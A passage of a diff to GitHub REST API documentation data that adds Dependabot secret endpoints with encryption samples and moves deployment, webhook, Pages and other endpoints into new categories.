2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using Python</h4>\n<p>Encrypt your secret using <a href=\"https://pynacl.readthedocs.io/en/stable/public/#nacl-public-sealedbox\">pynacl</a> with Python 3.</p>\n<pre><code>from base64 import b64encode\nfrom nacl import encoding, public\n\ndef encrypt(public_key: str, secret_value: str) -> str:\n  \"\"\"Encrypt a Unicode string using the public key.\"\"\"\n  public_key = public.PublicKey(public_key.encode(\"utf-8\"), encoding.Base64Encoder())\n  sealed_box = public.SealedBox(public_key)\n  encrypted = sealed_box.encrypt(secret_value.encode(\"utf-8\"))\n  return b64encode(encrypted).decode(\"utf-8\")\n</code></pre>\n<h4 id=\"example-encrypting-a-secret-using-c\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-c\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using C#</h4>\n<p>Encrypt your secret using the <a href=\"https://www.nuget.org/packages/Sodium.Core/\">Sodium.Core</a> package.</p>\n<pre><code>var secretValue = System.Text.Encoding.UTF8.GetBytes(\"mySecret\");\nvar publicKey = Convert.FromBase64String(\"2Sg8iYjAxxmI2LvUXpJjkYrMxURPc8r+dB7TJyvvcCU=\");\n\nvar sealedPublicKeyBox = Sodium.SealedPublicKeyBox.Create(secretValue, publicKey);\n\nConsole.WriteLine(Convert.ToBase64String(sealedPublicKeyBox));\n</code></pre>\n<h4 id=\"example-encrypting-a-secret-using-ruby\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#example-encrypting-a-secret-using-ruby\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Example encrypting a secret using Ruby</h4>\n<p>Encrypt your secret using the <a href=\"https://github.com/RubyCrypto/rbnacl\">rbnacl</a> gem.</p>\n<pre><code class=\"hljs language-ruby\"><span class=\"hljs-keyword\">require</span> <span class=\"hljs-string\">\"rbnacl\"</span>\n<span class=\"hljs-keyword\">require</span> <span class=\"hljs-string\">\"base64\"</span>\n\nkey = Base64.decode64(<span class=\"hljs-string\">\"+ZYvJDZMHUfBkJdyq5Zm9SKqeuBQ4sj+6sfjlH4CgG0=\"</span>)\npublic_key = RbNaCl::PublicKey.new(key)\n\nbox = RbNaCl::Boxes::Sealed.from_public_key(public_key)\nencrypted_secret = box.encrypt(<span class=\"hljs-string\">\"my_secret\"</span>)\n\n<span class=\"hljs-comment\"># Print the base64 encoded secret</span>\nputs Base64.strict_encode64(encrypted_secret)\n</code></pre>",
+    "bodyParameters": [
+      {
+        "type": "string",
+        "description": "<p>Value for your secret, encrypted with <a href=\"https://libsodium.gitbook.io/doc/bindings_for_other_languages\">LibSodium</a> using the public key retrieved from the <a href=\"https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key\">Get a repository public key</a> endpoint.</p>",
+        "pattern": "^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4})$",
+        "name": "encrypted_value",
+        "in": "body",
+        "rawType": "string",
+        "rawDescription": "Value for your secret, encrypted with [LibSodium](https://libsodium.gitbook.io/doc/bindings_for_other_languages) using the public key retrieved from the [Get a repository public key](https://docs.github.com/rest/reference/dependabot#get-a-repository-public-key) endpoint.",
+        "childParamsGroups": []
+      },
+      {
+        "type": "string",
+        "description": "<p>ID of the key you used to encrypt the secret.</p>",
+        "name": "key_id",
+        "in": "body",
+        "rawType": "string",
+        "rawDescription": "ID of the key you used to encrypt the secret.",
+        "childParamsGroups": []
+      }
+    ]
+  },
+  {
+    "verb": "delete",
+    "requestPath": "/repos/{owner}/{repo}/dependabot/secrets/{secret_name}",
+    "serverUrl": "https://api.github.com",
+    "parameters": [
+      {
+        "name": "owner",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "repo",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": ""
+      },
+      {
+        "name": "secret_name",
+        "description": "secret_name parameter",
+        "in": "path",
+        "required": true,
+        "schema": {
+          "type": "string"
+        },
+        "descriptionHTML": "<p>secret_name parameter</p>"
+      }
+    ],
+    "x-codeSamples": [
+      {
+        "lang": "Shell",
+        "source": "curl \\\n  -X DELETE \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/SECRET_NAME",
+        "html": "<pre><code class=\"hljs language-shell\">curl \\\n  -X DELETE \\\n  -H \"Accept: application/vnd.github.v3+json\" \\\n  https://api.github.com/repos/octocat/hello-world/dependabot/secrets/SECRET_NAME</code></pre>"
+      },
+      {
+        "lang": "JavaScript",
+        "source": "await octokit.request('DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}', {\n  owner: 'octocat',\n  repo: 'hello-world',\n  secret_name: 'secret_name'\n})",
+        "html": "<pre><code class=\"hljs language-javascript\"><span class=\"hljs-keyword\">await</span> octokit.<span class=\"hljs-title hljs-function\">request</span>(<span class=\"hljs-string\">'DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}'</span>, {\n  <span class=\"hljs-attr\">owner</span>: <span class=\"hljs-string\">'octocat'</span>,\n  <span class=\"hljs-attr\">repo</span>: <span class=\"hljs-string\">'hello-world'</span>,\n  <span class=\"hljs-attr\">secret_name</span>: <span class=\"hljs-string\">'secret_name'</span>\n})\n</code></pre>"
+      }
+    ],
+    "summary": "Delete a repository secret",
+    "description": "Deletes a secret in a repository using the secret name. You must authenticate using an access token with the `repo` scope to use this endpoint. GitHub Apps must have the `dependabot_secrets` repository permission to use this endpoint.",
+    "tags": [
+      "dependabot"
+    ],
+    "operationId": "dependabot/delete-repo-secret",
+    "externalDocs": {
+      "description": "API method documentation",
+      "url": "https://docs.github.com/rest/reference/dependabot#delete-a-repository-secret"
+    },
+    "x-github": {
+      "githubCloudOnly": false,
+      "enabledForGitHubApps": true,
+      "category": "dependabot",
+      "subcategory": "secrets"
+    },
+    "slug": "delete-a-repository-secret",
+    "category": "dependabot",
+    "categoryLabel": "Dependabot",
+    "subcategory": "secrets",
+    "subcategoryLabel": "Secrets",
+    "notes": [],
+    "responses": [
+      {
+        "httpStatusCode": "204",
+        "httpStatusMessage": "No Content",
+        "description": "Response"
+      }
+    ],
+    "bodyParameters": [],
+    "descriptionHTML": "<p>Deletes a secret in a repository using the secret name. You must authenticate using an access token with the <code>repo</code> scope to use this endpoint. GitHub Apps must have the <code>dependabot_secrets</code> repository permission to use this endpoint.</p>"
+  },
   {
     "verb": "get",
     "requestPath": "/repos/{owner}/{repo}/deployments",
@@ -55962,10 +57329,8 @@
       "subcategory": "deployments"
     },
     "slug": "list-deployments",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Simple filtering of deployments is available via query parameters:</p>",
@@ -56168,10 +57533,8 @@
       "subcategory": "deployments"
     },
     "slug": "create-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Deployments offer a few configurable parameters with certain defaults.</p>\n<p>The <code>ref</code> parameter can be any named branch, tag, or SHA. At GitHub we often deploy branches and verify them\nbefore we merge a pull request.</p>\n<p>The <code>environment</code> parameter allows deployments to be issued to different runtime environments. Teams often have\nmultiple environments for verifying their applications, such as <code>production</code>, <code>staging</code>, and <code>qa</code>. This parameter\nmakes it easier to track which environments have requested deployments. The default environment is <code>production</code>.</p>\n<p>The <code>auto_merge</code> parameter is used to ensure that the requested ref is not behind the repository's default branch. If\nthe ref <em>is</em> behind the default branch for the repository, we will attempt to merge it for you. If the merge succeeds,\nthe API will return a successful merge commit. If merge conflicts prevent the merge from succeeding, the API will\nreturn a failure response.</p>\n<p>By default, <a href=\"https://docs.github.com/rest/reference/repos#statuses\">commit statuses</a> for every submitted context must be in a <code>success</code>\nstate. The <code>required_contexts</code> parameter allows you to specify a subset of contexts that must be <code>success</code>, or to\nspecify contexts that have not yet been submitted. You are not required to use commit statuses to deploy. If you do\nnot require any contexts or create any commit statuses, the deployment will always succeed.</p>\n<p>The <code>payload</code> parameter is available for any extra information that a deployment system might need. It is a JSON text\nfield that will be passed on when a deployment event is dispatched.</p>\n<p>The <code>task</code> parameter is used by the deployment system to allow different execution paths. In the web world this might\nbe <code>deploy:migrations</code> to run schema changes on the system. In the compiled world this could be a flag to compile an\napplication with debugging enabled.</p>\n<p>Users with <code>repo</code> or <code>repo_deployment</code> scopes can create a deployment for a given ref.</p>\n<h4 id=\"merged-branch-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merged-branch-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merged branch response</h4>\n<p>You will see this response when GitHub automatically merges the base branch into the topic branch instead of creating\na deployment. This auto-merge happens when:</p>\n<ul>\n<li>Auto-merge option is enabled in the repository</li>\n<li>Topic branch does not include the latest changes on the base branch, which is <code>master</code> in the response example</li>\n<li>There are no merge conflicts</li>\n</ul>\n<p>If there are no new commits in the base branch, a new request to create a deployment should give a successful\nresponse.</p>\n<h4 id=\"merge-conflict-response\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#merge-conflict-response\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Merge conflict response</h4>\n<p>This error happens when the <code>auto_merge</code> option is enabled and when the default branch (in this case <code>master</code>), can't\nbe merged into the branch that's being deployed (in this case <code>topic-branch</code>), due to merge conflicts.</p>\n<h4 id=\"failed-commit-status-checks\"><a aria-hidden=\"\" tabindex=\"-1\" class=\"doctocat-link\" href=\"#failed-commit-status-checks\"><svg aria-hidden=\"\" role=\"img\" class=\"octicon-link\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:middle\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Failed commit status checks</h4>\n<p>This error happens when the <code>required_contexts</code> parameter indicates that one or more contexts need to have a <code>success</code>\nstatus for the commit to be deployed, but one or more of the required contexts do not have a state of <code>success</code>.</p>",
@@ -56364,10 +57727,8 @@
       "subcategory": "deployments"
     },
     "slug": "get-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -56448,10 +57809,8 @@
       "subcategory": "deployments"
     },
     "slug": "delete-a-deployment",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "notes": [],
     "responses": [
       {
@@ -56556,10 +57915,10 @@
       "subcategory": "deployments"
     },
     "slug": "list-deployment-statuses",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view deployment statuses for a deployment:</p>",
@@ -56742,10 +58101,10 @@
       "subcategory": "deployments"
     },
     "slug": "create-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Users with <code>push</code> access can create deployment statuses for a given deployment.</p>\n<p>GitHub Apps require <code>read &#x26; write</code> access to \"Deployments\" and <code>read-only</code> access to \"Repo contents\" (for private repos). OAuth Apps require the <code>repo_deployment</code> scope.</p>",
@@ -56918,10 +58277,10 @@
       "subcategory": "deployments"
     },
     "slug": "get-a-deployment-status",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "deployments",
-    "subcategoryLabel": "Deployments",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
+    "subcategory": "statuses",
+    "subcategoryLabel": "Statuses",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Users with pull access can view a deployment status for a deployment:</p>",
@@ -57131,8 +58490,8 @@
       "subcategory": "environments"
     },
     "slug": "get-all-environments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -57210,8 +58569,8 @@
       "subcategory": "environments"
     },
     "slug": "get-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -57444,8 +58803,8 @@
       "subcategory": "environments"
     },
     "slug": "create-or-update-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "contentType": "application/json",
@@ -57671,8 +59030,8 @@
       "subcategory": "environments"
     },
     "slug": "delete-an-environment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "environments",
     "subcategoryLabel": "Environments",
     "notes": [],
@@ -60404,10 +61763,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-repository-webhooks",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -60690,10 +62049,10 @@
       "subcategory": "webhooks"
     },
     "slug": "create-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Repositories can have multiple webhooks installed. Each webhook should have a unique <code>config</code>. Multiple webhooks can\nshare the same <code>config</code> as long as those webhooks do not have any <code>events</code> that overlap.</p>",
@@ -60970,10 +62329,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a webhook configured in a repository. To get only the webhook <code>config</code> properties, see \"<a href=\"/rest/reference/repos#get-a-webhook-configuration-for-a-repository\">Get a webhook configuration for a repository</a>.\"</p>",
@@ -61274,10 +62633,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates a webhook configured in a repository. If you previously had a <code>secret</code> set, you must provide the same <code>secret</code> or set a new <code>secret</code> or the secret will be removed. If you are only updating individual webhook <code>config</code> properties, use \"<a href=\"/rest/reference/repos#update-a-webhook-configuration-for-a-repository\">Update a webhook configuration for a repository</a>.\"</p>",
@@ -61567,10 +62926,10 @@
       "subcategory": "webhooks"
     },
     "slug": "delete-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -61649,10 +63008,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the webhook configuration for a repository. To get more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#get-a-repository-webhook\">Get a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>read:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:read</code> permission.</p>",
@@ -61794,10 +63153,10 @@
       "subcategory": "webhooks"
     },
     "slug": "update-a-webhook-configuration-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-config",
+    "subcategoryLabel": "Repo config",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Updates the webhook configuration for a repository. To update more information about the webhook, including the <code>active</code> state and <code>events</code>, use \"<a href=\"/rest/reference/orgs#update-a-repository-webhook\">Update a repository webhook</a>.\"</p>\n<p>Access tokens must have the <code>write:repo_hook</code> or <code>repo</code> scope, and GitHub Apps must have the <code>repository_hooks:write</code> permission.</p>",
@@ -61942,10 +63301,10 @@
       "subcategory": "webhooks"
     },
     "slug": "list-deliveries-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a list of webhook deliveries for a webhook configured in a repository.</p>",
@@ -62039,10 +63398,10 @@
       "subcategory": "webhooks"
     },
     "slug": "get-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns a delivery for a webhook configured in a repository.</p>",
@@ -62136,10 +63495,10 @@
       "subcategory": "webhooks"
     },
     "slug": "redeliver-a-delivery-for-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repo-deliveries",
+    "subcategoryLabel": "Repo deliveries",
     "notes": [],
     "responses": [
       {
@@ -62223,10 +63582,10 @@
       "subcategory": "webhooks"
     },
     "slug": "ping-a-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -62305,10 +63664,10 @@
       "subcategory": "webhooks"
     },
     "slug": "test-the-push-repository-webhook",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "webhooks",
-    "subcategoryLabel": "Webhooks",
+    "category": "webhooks",
+    "categoryLabel": "Webhooks",
+    "subcategory": "repos",
+    "subcategoryLabel": "Repos",
     "notes": [],
     "responses": [
       {
@@ -63713,8 +65072,8 @@
       "subcategory": "invitations"
     },
     "slug": "list-repository-invitations",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -63820,8 +65179,8 @@
       "subcategory": "invitations"
     },
     "slug": "update-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "contentType": "application/json",
@@ -63917,8 +65276,8 @@
       "subcategory": "invitations"
     },
     "slug": "delete-a-repository-invitation",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "subcategory": "invitations",
     "subcategoryLabel": "Invitations",
     "notes": [],
@@ -67908,8 +69267,8 @@
       "subcategory": "keys"
     },
     "slug": "list-deploy-keys",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -68024,8 +69383,8 @@
       "subcategory": "keys"
     },
     "slug": "create-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "contentType": "application/json",
@@ -68137,8 +69496,8 @@
       "subcategory": "keys"
     },
     "slug": "get-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -68221,8 +69580,8 @@
       "subcategory": "keys"
     },
     "slug": "delete-a-deploy-key",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "deployments",
+    "categoryLabel": "Deployments",
     "subcategory": "keys",
     "subcategoryLabel": "Keys",
     "notes": [],
@@ -69151,10 +70510,8 @@
       "subcategory": "branches"
     },
     "slug": "sync-a-fork-branch-with-the-upstream-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Sync a branch of a forked repository to keep it up-to-date with the upstream repository.</p>",
@@ -69289,10 +70646,8 @@
       "subcategory": "merging"
     },
     "slug": "merge-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "merging",
-    "subcategoryLabel": "Merging",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "",
@@ -70427,10 +71782,8 @@
       "subcategory": "pages"
     },
     "slug": "get-a-github-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -70592,10 +71945,8 @@
       "subcategory": "pages"
     },
     "slug": "create-a-github-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Configures a GitHub Pages site. For more information, see \"<a href=\"/github/working-with-github-pages/about-github-pages\">About GitHub Pages</a>.\"</p>",
@@ -70850,10 +72201,8 @@
       "subcategory": "pages"
     },
     "slug": "update-information-about-a-github-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "contentType": "application/json",
     "notes": [],
     "responses": [
@@ -70998,10 +72347,8 @@
       "subcategory": "pages"
     },
     "slug": "delete-a-github-pages-site",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -71096,10 +72443,8 @@
       "subcategory": "pages"
     },
     "slug": "list-github-pages-builds",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "descriptionHTML": "",
     "bodyParameters": [],
@@ -71165,10 +72510,8 @@
       "subcategory": "pages"
     },
     "slug": "request-a-github-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>You can request that your site be built from the latest revision on the default branch. This has the same effect as pushing a commit to your default branch, but does not require an additional commit. Manually triggering page builds can be helpful when diagnosing build warnings and failures.</p>\n<p>Build requests are limited to one concurrent build per repository and one concurrent build per requester. If you request a build while another is still in progress, the second request will be queued until the first completes.</p>",
@@ -71234,10 +72577,8 @@
       "subcategory": "pages"
     },
     "slug": "get-latest-pages-build",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "pages",
-    "subcategoryLabel": "Pages",
+    "category": "pages",
+    "categoryLabel": "Pages",
